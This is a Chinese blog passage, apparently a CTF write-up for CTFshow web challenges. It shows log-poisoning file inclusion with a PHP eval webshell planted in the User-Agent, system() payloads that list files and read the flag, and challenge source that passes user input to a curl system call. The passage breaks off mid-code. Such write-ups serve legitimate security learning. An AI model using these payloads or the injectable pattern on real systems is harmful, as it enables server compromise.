CTFshow web AK赛wp

最新推荐文章于 2022-02-25 23:20:08 发布

HoAd's blog

最新推荐文章于 2022-02-25 23:20:08 发布

阅读量636

点赞数 1

CC 4.0 BY-SA版权

文章标签：网络安全安全

本文链接：https://blog.csdn.net/weixin_54515836/article/details/113178259

CTFshow WEB AK赛

ak赛 wp
总结

ak赛 wp

签到_观己

打开后的页面正则匹配过滤了php，且大小写不敏感，后面又有include函数，已经是对php的伪协议的一个考点。
php被过滤，我们可以用data://伪协议
发现allow_url_include没有开启，还得另寻他法。做题的时候没想到有日志包含，还是题做得太少了。

payload:file=/var/log/nginx/access.log

在这里插入图片描述通过将一句话木马写入到UA中

<?php eval($_POST[cmd])?>

在这里插入图片描述
执行一句话即可得到flag

payload:cmd=system('ls /');

在这里插入图片描述

payload:cmd=system('cat flag.txt');

在这里插入图片描述

web1_观字

<?php

#flag in http://192.168.7.68/flag
if(isset($_GET['url'])){
   
   
    $url = $_GET['url'];
    $protocol = substr($url, 0,7);
    if($protocol!='http://'){
   
   
        die('仅限http协议访问');
    }
    if(preg_match('/\.|\;|\||\<|\>|\*|\%|\^|\(|\)|\#|\@|\!|\`|\~|\+|\'|\"|\.|\,|\?|\[|\]|\{|\}|\!|\&|\$|0/', $url)){
   
   
        die('仅限域名地址访问');
    }
    system('curl '.$url);<